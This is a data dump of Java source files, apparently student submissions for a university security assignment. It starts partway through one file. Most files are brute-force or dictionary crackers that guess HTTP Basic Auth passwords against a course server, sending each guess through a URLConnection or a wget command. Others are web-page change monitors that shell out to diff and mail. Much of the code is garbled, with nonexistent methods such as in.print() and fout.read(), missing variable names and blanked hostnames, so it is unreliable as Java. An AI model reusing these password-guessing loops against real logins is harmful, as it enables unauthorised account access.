word = null; + String cmd = null; + Runtime run = Runtime.getRuntime(); + Process pro = null; + BufferedReader inLine = null; + + + + String str = null; + URLConnection connection = null; + + try + { + FileReader reader = new FileReader(""words""); + in = new BufferedReader(reader); + System.out.println("" cracking....""); + + { + found = true; + word = new String(in.readLine()); + + cmd = ""wget --http-user= --http-passwd=""+word +"" http://sec-crack.cs.rmit.edu./SEC/2/index.php""; + + pro = run.exec(cmd); + inLine = new BufferedReader(new InputStreamReader(pro.getErrorStream())); + + + if((str=inLine.readLine())!=null) + { + + while ((str=inLine.readLine())!=null) + { + if (str.endsWith(""Required"")) + { + + found = false; + } + + } + } + + + + + + + run.gc(); + } + while (!found); + + + + + + } + catch (FileNotFoundException exc) + { + System.out.println(exc); + } + catch (IOException exc) + { + System.out.println(exc); + } + catch (NullPointerException ex) + { + System.out.println(word); + } + finally + { + try + { + if (in!= null) + { + in.print(); + } + } + catch (IOException e) {} + } + if (found == true) + System.out.println(""The password is :"" + word); + else + System.out.println(""NOT FOUND!""); + } +}" +206.java," +import java.util.*; + +public class WatchDog +{ + private Timer t; + + public WatchDog() + { + t = new Timer(); + TimerTask task = new TimerTask() + { + public void run() + { + Dog doggy = new Dog(); + } + }; + + t.schedule(task, 0, 86400000); + } + public static void main( String[] args) + { + WatchDog wd = new WatchDog(); + } +} +" +020.java," + + + +import java.util.*; +import java.util.zip.*; +import java.net.*; +import java.io.*; +import javax.swing.*; + +public class WatchDogTask extends TimerTask +{ + private String urlHomePage; + private boolean fileToWrite = true; + private boolean startup = true; + private int[] checksum; + private int noChangeCount = 0; + + public WatchDogTask() + { + super(); + + System.out.println(""Programmed by for INTE1070 Assignment2""); + + urlHomePage = JOptionPane.showInputDialog( ""Enter URL"" ); + } + + + public void run() + { + noChangeCount = 0; + + try + { + URL currURL = new URL( urlHomePage ); + URLConnection conn = currURL.openConnection(); + + if (conn instanceof HttpURLConnection) + { + HttpURLConnection hconn = (HttpURLConnection) conn; + hconn.setUseCaches( false ); + hconn.setFollowRedirects( true ); + + hconn.connect(); + int response = hconn.getResponseCode(); + String msg = hconn.getResponseMessage(); + + + + + performTask( hconn.getInputStream() ); + } + + String option = JOptionPane.showInputDialog( + "" want exit?(y/n)"" ); + if(option != null && (option.equals(""y"") || option.equals(""Y""))) + { + cancel(); + System.exit(0); + } + else + { + startup = false; + System.err.println( "" in 24 hours!"" ); + } + } + catch( MalformedURLException mue ) + { + String msg = ""Unable parse URL !""; + System.err.println( msg ); + } + catch( IOException ioe ) + { + System.err.println( ""I/O Error : "" + ioe ); + } + } + + private void performTask( InputStream inputStream ) + { + String fileName = null, arg1 = null, arg2 = null; + InputStream in = inputStream; + + try + { + if( fileToWrite == true ) + { + fileName = ""tempFile1.txt""; + fileToWrite = false; + } + else + { + fileName = ""tempFile2.txt""; + fileToWrite = true; + } + + BufferedReader buf = new BufferedReader(new InputStreamReader(in)); + FileOutputStream fout = new FileOutputStream( fileName ); + + String line; + List imgList = new ArrayList(); + + while( ( line = buf.readLine() ) != null ) + { + + if((line.indexOf(""src="") != -1) || + (line.indexOf(""SRC="") != -1)) + { + ParsingImgLink parser = new ParsingImgLink( + urlHomePage,line); + String imgLink = parser.getImgLink(); + imgList.add( imgLink ); + + } + + fout.write(line.getBytes()); + fout.write(""\n"".getBytes()); + } + + buf.read(); + fout.read(); + + int[] tempChecksum = new int[imgList.size()]; + for( int i = 0; i < imgList.size(); i ++ ) + { + URL imgURL = new URL( (String)imgList.get( i ) ); + URLConnection imgConn = imgURL.openConnection(); + + if (imgConn instanceof HttpURLConnection) + { + HttpURLConnection imgHConn = (HttpURLConnection) imgConn; + imgHConn.connect(); + int response = imgHConn.getResponseCode(); + String msg = imgHConn.getResponseMessage(); + + System.out.println( ""Downloading image: "" + + ""Server Response : "" + response + + "" Response Message: "" ); + + CheckedInputStream cis = new CheckedInputStream( + imgHConn.getInputStream(), new Adler32()); + byte[] tempBuf = new byte[128]; + while( cis.get(tempBuf) >= 0 ) + { + + } + + tempChecksum[i] = cis.getChecksum().getValue(); + System.out.println(""Image Checksum = "" + tempChecksum[i] ); + + if( startup == false ) + { + for( int j = 0; j < checksum.length; j ++ ) + { + if( tempChecksum[i] == checksum[j] ) + noChangeCount ++; + } + } + } + } + + String change = null; + if( startup == false ) + { + Process p = Runtime.getRuntime().exec( + ""diff tempFile1.txt tempFile2.txt"", null ); + InputStream inCommand = p.getInputStream(); + OutputStream out = new FileOutputStream(""diff.txt"",true); + int c; + while( (c = inCommand.get()) != -1 ) + { + System.out.print( (char)c ); + out.write( c ); + } + + inCommand.get(); + + if( checksum.length > tempChecksum.length ) + { + change = """" + (checksum.length-tempChecksum.length) + + "" image(s) has/have been removed from this web ""; + out.write( change.getBytes() ); + } + else if( checksum.length < tempChecksum.length ) + { + change = """" + (tempChecksum.length-checksum.length) + + "" image(s) has/have been added this web ""; + out.write( change.getBytes() ); + } + else if( noChangeCount < checksum.length ) + { + change = """" + (checksum.length-noChangeCount) + + "" image(s) has/have been changed this web ""; + out.write( change.getBytes() ); + } + else + { + change = ""all images have not been changed""; + } + + File diffFile = new File( ""diff.txt"" ); + if( diffFile.length() != 0 ) + { + Runtime.getRuntime().exec( ""mail < diff.txt"" ); + System.out.println(""A mail has been sent mail box""); + } + } + else + { + change = ""Program starts up first time""; + } + + System.out.println( change ); + checksum = tempChecksum; + } + catch( MalformedURLException mue ) + { + String msg = ""Unable parse URL !""; + System.err.println( msg ); + } + catch( IOException ioe ) + { + System.err.println( ""I/O Error: "" + ioe ); + } + } +} +" +090.java,"import java.io.*; +import java.net.*; +import java.security.*; +import java.math.*; +import java.*; +import java.util.*; + + +public class Dictionary +{ + public static void main (String args[]) throws Exception { + Socket socket = null; + DataOutputStream = null; + BufferedReader bf = null, fr = null; + String retVal = null, StatusCode = ""HTTP/1.1 200 OK""; + int found = 0, count = 0; + String testpasswd; + + try { + + File inputFile = new File(""words""); + fr = new BufferedReader(new FileReader(inputFile)); + } catch (IOException ex) { + ex.printStackTrace(); + } + + stime = System.currentTimeMillis(); + System.out.println(""Cracking password by Dictionary...""); + + while (((testpasswd = fr.readLine()) != null) && (found == 0)) + { + try { + + + URL yahoo = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + URLConnection yc = yahoo.openConnection(); + + + String authString = "":"" + testpasswd; + String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes()); + yc.setRequestProperty(""Authorization"", "" "" + auth); + count++; + + + BufferedReader in = new BufferedReader( + new InputStreamReader( + yc.getInputStream())); + + String inputLine; + while ((inputLine = in.readLine()) != null){ + System.out.println(inputLine); + etime = System.currentTimeMillis(); + System.out.println(""Password found -- "" + testpasswd); + System.out.println(""Time used = "" + ((etime - stime)/1000) + "" sec""); + System.out.println(""# of attempt = "" + count); + System.out.println(""End of cracking!""); + found = 1; + } + in.print(); + + } catch (Exception ex) {} + } + fr.close(); + + if (found == 0) { + System.out.println(""Sorry, password found.""); + System.out.println(""# of attempt = "" + count); + System.out.println(""End of cracking!""); + } + } +}" +040.java,"import java.io.*; +import java.util.*; +import java.text.*; + + +public class Dictionary +{ + + + + + private int verbose = 0; + private int scanType = CrackingConstants.casedScan; + private boolean leftThreeCharsOnly = false; + private boolean fullScan = false; + + + + + + + + + + private int passwordsTried = 0; + private int uniqueLetterSequencesTried = 0; + + + public static void main (String args[]) + { + int tIni; + int tFinish; + DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL); + Dictionary pwForcer = new Dictionary(); + + if(0 < args.length) + { + for(int i = 0; i < args.length; i++) + { + if((args[i].indexOf(""-h"") > -1) || (args[i].indexOf(""-H"") > -1)) + { + System.out.println(""\n-f -F\tgenerates the three leftmost characters of the passwords as in -t/T \nbut also appends the rest of the string ( duplicate checking is with this option).""); + System.out.println(""\n-s -S\tonly tests lower passwords.""); + System.out.println(""\n-t -T\tonly the three leftmost characters of the passwords.""); + System.out.println(""\n-v -V\tprints the passwords as tried.\n""); + return; + } + else if((args[i].indexOf(""-s"") > -1) || (args[i].indexOf(""-S"") > -1)) + pwForcer.scanType = CrackingConstants.simpleScan; + else if((args[i].indexOf(""-v"") > -1) || (args[i].indexOf(""-V"") > -1)) + pwForcer.verbose = CrackingConstants.verboseMode2; + else if((args[i].indexOf(""-t"") > -1) || (args[i].indexOf(""-T"") > -1)) + pwForcer.leftThreeCharsOnly = true; + else if((args[i].indexOf(""-f"") > -1) || (args[i].indexOf(""-F"") > -1)) + pwForcer.fullScan = true; + } + } + + + if (pwForcer.fullScan) + pwForcer.leftThreeCharsOnly = false; + + + System.out.println(""\n\n********************************\n""); + System.out.println(""Starting dictionary run at "" + + longTimestamp.format(new Date())); + if(0 < args.length) + { + String arguments = """"; + for( i =0; i < args.length; i++) + arguments += args[i] + "" ""; + System.out.println(""\nOptions: "" + arguments + ""\n""); + } + if (pwForcer.leftThreeCharsOnly) + System.out.println(""Only the first three letters of each password tried.""); + if(pwForcer.scanType == CrackingConstants.simpleScan) + System.out.println(""Only lower passwords tried.""); + else + System.out.println(""Both lower and upper passwords tried.""); + System.out.println(""\n********************************\n""); + + tIni = System.currentTimeMillis(); + pwForcer.run(); + tFinish = System.currentTimeMillis(); + + if (CrackingConstants.casedScan == pwForcer.scanType) + { + + + + + System.out.println (""\n\n"" + pwForcer.passwordsTried + "" capitalized passwords were tried.""); + System.out.println (""That is "" + pwForcer.uniqueLetterSequencesTried + "" unique passwords were tried.""); + + + } + else + { + System.out.println (""\n\n"" + pwForcer.passwordsTried + "" passwords were tried.\n""); + + System.out.println (pwForcer.uniqueLetterSequencesTried + "" unique passwords were tried.""); + } + + + System.out.println(""\n********************************\n""); + System.out.println(""Finished dictionary run at "" + + longTimestamp.format(new Date())); + System.out.println(""Time taken: "" + ((tFinish - tIni )/1000) + "" seconds""); + System.out.println(""\n********************************""); + } + + + public Dictionary() + { + } + + + private void run() + { + + + String fileName = ""/usr/share/lib/dict/words""; + + LoginAttemptResults results = new LoginAttemptResults(); + LoginAttempt login = new LoginAttempt(); + + CasePasswords casedPasswords = new CasePasswords(verbose); + + + try + { + boolean found = false; + + int lineCount = 0; + + String password = null; + String lastPassword = """"; + BufferedReader in = new BufferedReader(new FileReader(fileName)); + + while((null != (password = in.readLine())) && (!found)) + { + + lineCount++; + + password = password.trim(); + + if("""" != password) + { + if (leftThreeCharsOnly) + { + leftIndex = -1; + midIndex = -1; + rightIndex = -1; + String tail = """"; + + + + if(3 <= password.length()) + { + if (!fullScan) + + + + if(lastPassword.equals(password.substring(0, 3).toLowerCase())) + continue; + else + lastPassword = password.substring(0, 3).toLowerCase(); + char [] passwordChars = password.toCharArray(); + leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length); + midIndex = CrackingConstants.findIndex(passwordChars[1], 0, CrackingConstants.lowerChars.length); + rightIndex = CrackingConstants.findIndex(passwordChars[2], 0, CrackingConstants.lowerChars.length); + + + + if ((3 < password.length() ) && (fullScan)) + tail = password.substring(0, 3); + } + else if(2 == password.length()) + { + if (!fullScan) + + if(lastPassword.equals(password.substring(0, 2).toLowerCase())) + continue; + else + lastPassword = password.substring(0, 2).toLowerCase(); + char [] passwordChars = password.toCharArray(); + leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length); + midIndex = CrackingConstants.findIndex(passwordChars[1], 0, CrackingConstants.lowerChars.length); + } + else if(1 == password.length()) + { + if (!fullScan) + + if(lastPassword.equals(password.substring(0, 1).toLowerCase())) + continue; + else + lastPassword = password.substring(0, 1).toLowerCase(); + char [] passwordChars = password.toCharArray(); + leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length); + } + else + { + System.out.println(""Empty password from word file.""); + continue; + } + + + if((CrackingConstants.notFound != rightIndex) && ((CrackingConstants.notFound == leftIndex) || (CrackingConstants.notFound == midIndex))) + continue; + if((CrackingConstants.notFound != midIndex) && (CrackingConstants.notFound == leftIndex)) + continue; + + results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex, midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars, scanType), passwordsTried); + found = results.getSuccess(); + passwordsTried = results.getPasswordsTried(); + uniqueLetterSequencesTried++; + } + else + { + results = login.tryPasswords(casedPasswords.createCasedPasswords(password, scanType), passwordsTried); + found = results.getSuccess(); + passwordsTried = results.getPasswordsTried(); + uniqueLetterSequencesTried++; + } + } + } + in.print(); + + + + + } + catch(FileNotFoundException e) + { + System.out.println(""File "" + fileName + "" was not found was unopenable.""); + } + catch(IOException e) + { + System.out.println(""Error "" + e); + } + } + + +} +" +249.java,"import java.net.*; +import java.io.*; + +public class BruteForce +{ + + public static void main (String[] args) + { + + String pwd = new String(); + String userpwd = new String(); + String reply = new String(); + int i,j,k; + int startTime, endTime,totalTime; + URLConnection connectionObj; + startTime = System.currentTimeMillis(); + + + try { + + URL urlObj = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + + + + + for (i=1;i<=58;i++) + { + if (i<=26 || i > 32) + { + + + } + + for (j=1;j<=58;j++) + { + if ((j<=26 || j > 32) && (i <=26 || i>32)) + { + + + + + } + + for (k=1;k<=58;k++) + { + if ((k<=26 || k > 32) && (i <=26 || i>32) && (j <=26 || j>32)) + { + + + pwd = """" + (char) (i + 64) + (char) (j + 64) + (char) (k + 64); + + userpwd = url.encode("""",pwd); + + connectionObj = urlObj.openConnection(); + + connectionObj.setRequestProperty(""Authorization"","" "" + userpwd); + connectionObj.connect(); + reply = connectionObj.getHeaderField(0); + + if (reply.compareTo(""HTTP/1.1 200 OK"")== 0) + { + + endTime = System.currentTimeMillis(); + totalTime= (endTime - startTime)/1000; + System.out.println(pwd); + System.out.println(""Total Time = "" + (totalTime) + ""seconds""); + System.exit(0); + } + + } + + } + + } + } + + } + + catch (MalformedURLException err) + { + System.out.println(err); + } + catch (IOException err) + { + System.out.println(err); + } + + } + + + + +}" +026.java," +import java.util.*; +import java.net.*; +import java.io.*; +public class ScheduleTask extends Thread +{ + + private int flag=0,count1=0,count2=0; + private Vector change; + public ScheduleTask(Vector init) + { + try + { + + Runtime run = Runtime.getRuntime(); + String command_line = ""lynx http://yallara.cs.rmit.edu./~/index.html -dump""; + Process result = run.exec(command_line); + BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream())); + String inputLine; + Vector newVector = new Vector(); + change = new Vector(); + while ((inputLine = in.readLine()) != null) + { + newVector.addElement(inputLine); + } + if(init.size()>newVector.size()) + { + for(int k=0;k 90 && i < 97) + i = 97; + oneTemp[0] = (char)i ; + pass = new String(oneTemp); + + + + + + System.out.println(pass + "" "" + ""Attack Number=====>"" + counter++ ); + + function =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php""; + + + try + { + prs = rtime.exec(function); + + InputStreamReader stre = new InputStreamReader(prs.getErrorStream()); + + + BufferedReader bread = new BufferedReader(stre); + + while((temp1 = bread.readLine()) != null) + { + + + if(temp1.equals(""HTTP request sent, awaiting response... 200 OK"")) + { + System.out.println(""The password has is:""+pass); + System.exit(0); + } + } + + }catch(java.io.IOException e){} + } + + + + + + + + for(i=65;i<123;i++) + { + if( i > 90 && i < 97) + i = 97; + for(j =65;j<123;j++) + { + if( j > 90 && j < 97) + j = 97; + + twoTemp[0] = (char)i ; + twoTemp[1] = (char)j ; + pass = new String(twoTemp); + + + + + + System.out.println(pass + "" "" + ""Attack Number=====>"" + counter++ ); + + function =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php""; + + + try + { + prs = rtime.exec(function); + + InputStreamReader stre = new InputStreamReader(prs.getErrorStream()); + + + BufferedReader bread = new BufferedReader(stre); + + while((temp1 = bread.readLine()) != null) + { + + + if(temp1.equals(""HTTP request sent, awaiting response... 200 OK"")) + { + System.out.println(""The password has is:""+pass); + System.exit(0); + } + } + + }catch(java.io.IOException e){} + } + } + + + + + + + + + for(i=65;i<123;i++) + { + if( i > 90 && i < 97) + i = 97; + for(j =65;j<123;j++) + { + if( j > 90 && j < 97) + j = 97; + for(k = 65;k<123;k++) + { + if( k > 90 && k < 97) + { k = 97;} + + threeTemp[0] = (char)i ; + threeTemp[1] = (char)j ; + threeTemp[2] = (char)k ; + pass = new String(threeTemp); + + + + + + System.out.println(pass + "" "" + ""Attack Number=====>"" + counter++ ); + + function =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php""; + + + try + { + prs = rtime.exec(function); + + InputStreamReader stre = new InputStreamReader(prs.getErrorStream()); + + + BufferedReader bread = new BufferedReader(stre); + + while((temp1 = bread.readLine()) != null) + { + + + if(temp1.equals(""HTTP request sent, awaiting response... 200 OK"")) + { + System.out.println(""The password has is:""+pass); + System.exit(0); + } + } + + }catch(java.io.IOException e){} + } + + } + } + } + + +} + +" +160.java,"import java.io.*; + + +public class WatchDog +{ +public static void main (String[] args) +{ String isdiff = new String(); + String[] cmd1 = {""//sh"",""-c"",""diff newfile.html oldfile.html > diff.txt""}; + String[] cmd2 = {""//sh"",""-c"",""mailx -s \""Web Changed\"" \""@cs.rmit.edu.\"" < diff.txt""}; + + try { + + + while(true) + { + Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O oldfile.html""); + Thread.sleep(43200000); + Thread.sleep(43200000); + Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O newfile.html""); + Thread.sleep(2000); + Runtime.getRuntime().exec(cmd1); + Thread.sleep(2000); + BufferedReader diff = new BufferedReader(new FileReader(""diff.txt"")); + if ((isdiff=diff.readLine()) != null) + { + Runtime.getRuntime().exec(cmd2); + System.out.println(""Change Detected & Email Send""); + } + diff.print(); + } + } + + catch (IOException err) + { + err.printStackTrace(); + } + + catch (InterruptedException err) + { + err.printStackTrace(); + } + +} + + +}" +235.java," + + +import java.io.*; +import java.net.*; + +import java.util.*; + +import java.misc.BASE64Encoder; + +public class BruteForce { + + private String userId; + private String password; + + private StringBuffer seed= new StringBuffer(""aaa""); + private int tries = 1; + + + + public BruteForce() { + + + + Authenticator.setDefault (new MyAuthenticator()); + } + + public String fetchURL (String urlString) { + HttpURLConnection connection; + StringBuffer sb = new StringBuffer(); + Date startTime, endTime; + int responseCode = -1; + boolean retry = true; + + URL url; + startTime = new Date(); + + System.out.println ("" time :"" + startTime); + + while (retry == true) + { + + try { + + url = new URL (urlString); + + connection = (HttpURLConnection)url.openConnection(); + + setUserId(""""); + setPassword(""rhk8611""); + + System.out.println(""Attempting get a response : "" +connection.getURL() ); + responseCode = connection.getResponseCode(); + System.out.print(responseCode + "" ""); + + if (responseCode == HttpURLConnection.HTTP_OK) + { + retry = false; + System.out.println(""**** ACCESS GRANTED *****""); + } else + { + retry = true; + throw new IOException( + ""HTTP response : "" + String.valueOf(responseCode) + + ""\nResponse Message: "" +connection.getResponseMessage()); + + } + + InputStream content = (InputStream)url.getContent(); + BufferedReader in = + new BufferedReader (new InputStreamReader (content)); + String line; + while ((line = in.readLine()) != null) { + sb.append(line); + } + } catch (MalformedURLException e) { + + retry=false; + System.out.println (""Invalid URL"" + e.getMessage()); + } catch (IOException e) { + + retry=true; + connection = null; + System.out.println (""Error URL \n"" + e.getMessage()); + } + } + endTime = new Date(); + System.out.print (""Total Time taken :"" + (endTime.getTime() - startTime.getTime())/1000*60 + "" Minutes ""); + System.out.println ((endTime.getTime() - startTime.getTime())/1000 + "" Sec""); + + + return sb.toString(); + } + + + public static void main (String args[]) { + BruteForce myGenerator = new BruteForce(); + + + + + + System.out.println(""Starting seed is : ""+ myGenerator.getSeed() ); + String pageFound = myGenerator.fetchURL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + + System.out.println("" ACCESSED ->\n"" + pageFound); + } + + class MyAuthenticator extends Authenticator { + protected PasswordAuthentication getPasswordAuthentication() + { + String username = getUserId(); + String pass = getPassword(); + if (pass.equals(""ZZZ"")) + { + System.out.println(""\nReached the end of combinations. EXITING.\n""); + System.exit(0); + } + if ((tries % 8) == 0 ) + { + pass = """" + getNextPassword(); + }else + { + pass = """"+ getNextPasswordCase(""""+getSeed(), tries%8); + } + tries ++; + + System.out.println(tries + "" Authenticating with -> "" + pass); + + return new PasswordAuthentication (username, pass.toCharArray()); + + } + } + + public String getPassword() + { + return this.password; + } + + public void setPassword(String password) + { + this.password = password; + } + + + public String getUserId() + { + return this.userId; + } + + public void setUserId(String userId) + { + this.userId = userId; + } + + public StringBuffer getNextPassword() + { + final int STRING_RADIX = 36; + + int changeDigit; + int dig; + char cdig; + + + changeDigit = 2; + if (getSeed().charAt(changeDigit) < 'z') + { + dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX); + dig = dig + 1; + cdig = Character.forDigit(dig, STRING_RADIX); + seed.setCharAt(changeDigit,cdig); + + } else + { + + seed.setCharAt(2,'a'); + + + changeDigit = 1; + if (getSeed().charAt(changeDigit) < 'z') + { + dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX); + dig = dig + 1; + cdig = Character.forDigit(dig, STRING_RADIX); + seed.setCharAt(changeDigit,cdig); + } else + { + + seed.setCharAt(2,'a'); + + seed.setCharAt(1,'a'); + + + changeDigit = 0; + if (getSeed().charAt(changeDigit) < 'z') + { + dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX); + dig = dig + 1; + cdig = Character.forDigit(dig, STRING_RADIX); + seed.setCharAt(changeDigit,cdig); + } + + } + + } + + return getSeed(); + + } + + private StringBuffer getNextPasswordCase(String pwd, int inx) + { + StringBuffer casePwd = new StringBuffer(pwd); + char myChar; + switch (inx) + { + case 1: + myChar = pwd.charAt(0); + casePwd.setCharAt(0, Character.toUpperCase(myChar)); + break; + case 2: + myChar = pwd.charAt(1); + casePwd.setCharAt(1, Character.toUpperCase(myChar)); + break; + case 3: + myChar = pwd.charAt(2); + casePwd.setCharAt(2, Character.toUpperCase(myChar)); + break; + case 4: + myChar = pwd.charAt(0); + casePwd.setCharAt(0, Character.toUpperCase(myChar)); + myChar = pwd.charAt(1); + casePwd.setCharAt(1, Character.toUpperCase(myChar)); + break; + case 5: + myChar = pwd.charAt(0); + casePwd.setCharAt(0, Character.toUpperCase(myChar)); + myChar = pwd.charAt(2); + casePwd.setCharAt(2, Character.toUpperCase(myChar)); + break; + case 6: + myChar = pwd.charAt(1); + casePwd.setCharAt(1, Character.toUpperCase(myChar)); + myChar = pwd.charAt(2); + casePwd.setCharAt(2, Character.toUpperCase(myChar)); + break; + case 7: + myChar = pwd.charAt(0); + casePwd.setCharAt(0, Character.toUpperCase(myChar)); + myChar = pwd.charAt(1); + casePwd.setCharAt(1, Character.toUpperCase(myChar)); + myChar = pwd.charAt(2); + casePwd.setCharAt(2, Character.toUpperCase(myChar)); + break; + } + return(casePwd); + + } + public StringBuffer getSeed() + { + return this.seed; + } + + public void setSeed(StringBuffer seed) + { + this.seed = seed; + } + + + +} + + +" +105.java," + +import java.io.*; +import java.net.*; +import java.misc.BASE64Encoder; + +public class Dictionary +{ + public Dictionary() + {} + + public boolean fetchURL(String urlString,String username,String password) + { + StringWriter sw= new StringWriter(); + PrintWriter pw = new PrintWriter(); + try{ + URL url=new URL(urlString); + String userPwd= username+"":""+password; + + + + + + + BASE64Encoder encoder = new BASE64Encoder(); + String encodedStr = encoder.encode (userPwd.getBytes()); + System.out.println(""Original String = "" + userPwd); + System.out.println(""Encoded String = "" + encodedStr); + + HttpURLConnection huc=(HttpURLConnection) url.openConnection(); + huc.setRequestProperty( ""Authorization"","" ""+encodedStr); + InputStream content = (InputStream)huc.getInputStream(); + BufferedReader in = + new BufferedReader (new InputStreamReader (content)); + String line; + while ((line = in.readLine()) != null) { + pw.println (line); + System.out.println(""""); + System.out.println(sw.toString()); + }return true; + } catch (MalformedURLException e) { + pw.println (""Invalid URL""); + return false; + } catch (IOException e) { + pw.println (""Error URL""); + return false; + } + + } + + public void getPassword() + { + String dictionary=""words""; + String urlString=""http://sec-crack.cs.rmit.edu./SEC/2/""; + String login=""""; + String pwd="" ""; + + try + { + BufferedReader inputStream=new BufferedReader(new FileReader(dictionary)); + startTime=System.currentTimeMillis(); + while (pwd!=null) + { + pwd=inputStream.readLine(); + if(this.fetchURL(urlString,login,pwd)) + { + finishTime=System.currentTimeMillis(); + System.out.println(""Finally I gotta it, password is : ""+pwd); + System.out.println(""The time for cracking password is: ""+(finishTime-startTime) + "" milliseconds""); + System.exit(1); + } + + } + inputStream.close(); + } + catch(FileNotFoundException e) + { + System.out.println(""Dictionary not found.""); + } + catch(IOException e) + { + System.out.println(""Error dictionary""); + } + } + + public static void main(String[] arguments) + { + BruteForce bf=new BruteForce(); + bf.getPassword(); + } +}" +194.java," +import java.io.*; +import java.util.*; + + +class BruteForce{ + +public static void main(String args[]){ + +String pass,s; +char a,b,c; +int z=0; +int attempt=0; +Process p; + + +char password[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q', + 'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h', + 'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'}; + z = System.currentTimeMillis(); +int at=0; +for(int i=0;i 0) + { + urlPath = args[0]; + System.out.println(""URL "" + urlPath); + Dictionary dict = new Dictionary(urlPath); + } + else{ + System.out.println(""Please enter URL at command prompt""); + System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/""); + } + + System.exit(0); + + } + + + public Dictionary(String urlPath) throws Exception + { + linkToWeb(urlPath); + + } + + public boolean linkToWeb(String urlPath) throws Exception + { + HttpURLConnection connection; + String word = null; + String usrName = """"; + String usrNamePwd = null; + String encoding = null; + URL = new URL(urlPath); + + + BufferedReader inputStream = new BufferedReader(new FileReader(""words"")); + word = inputStream.readLine(); + + while(word != null) + { + + if(word.length() <= 3){ + + usrNamePwd = usrName +"":""+ word; + encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); + connection = (HttpURLConnection).openConnection(); + connection.setRequestProperty(""Authorization"", "" "" + encoding); + + System.out.println(word); + + if(connection.getResponseCode() == 200){ + System.out.println(""Password Found "" +word); + return true; + } + connection.disconnect(); + } + word = inputStream.readLine(); + + } + + System.out.println(""Password not found"" ); + return false; + + } + + + + public class Base64Converter + { + + public final char [ ] alphabet = { + 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', + 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', + 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', + 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', + 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', + 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', + 'w', 'x', 'y', 'z', '0', '1', '2', '3', + '4', '5', '6', '7', '8', '9', '+', '/' }; + + public String encode ( String s ) + { + return encode ( s.getBytes ( ) ); + } + + public String encode ( byte [ ] octetString ) + { + int bits24; + int bits6; + + char [ ] out + = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; + + int outIndex = 0; + int i = 0; + + while ( ( i + 3 ) <= octetString.length ) + { + + bits24 = ( octetString [ i++ ] & 0xFF ) << 16; + bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; + bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; + + bits6 = ( bits24 & 0x00FC0000 ) >> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0000003F ); + out [ outIndex++ ] = alphabet [ bits6 ]; + } + + if ( octetString.length - i == 2 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; + + bits6 = ( bits24 & 0x00FC0000 ) >> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + } + else if ( octetString.length - i == 1 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + + bits6 = ( bits24 & 0x00FC0000 ) >> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + out [ outIndex++ ] = '='; + } + + return new String ( out ); + } + + } + + + + +} + +" +011.java,"import java.net.*; +import java.io.*; +import java.util.Vector; +import java.util.Date; +import java.security.*; + + + + + + + + + + + + +public class BruteForce { + public static BufferedReader in; + + + public static void main (String[] args) throws Exception { + String baseURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; + Date date = new Date(); + startTime=date.getTime(); + int LIMITINMINUTES=45; + int TIMELIMIT=LIMITINMINUTES*1000*60; + boolean timedOut=false; + boolean found=false; + + char[] letters={'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y','Z'}; + char[] lettersLC={'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 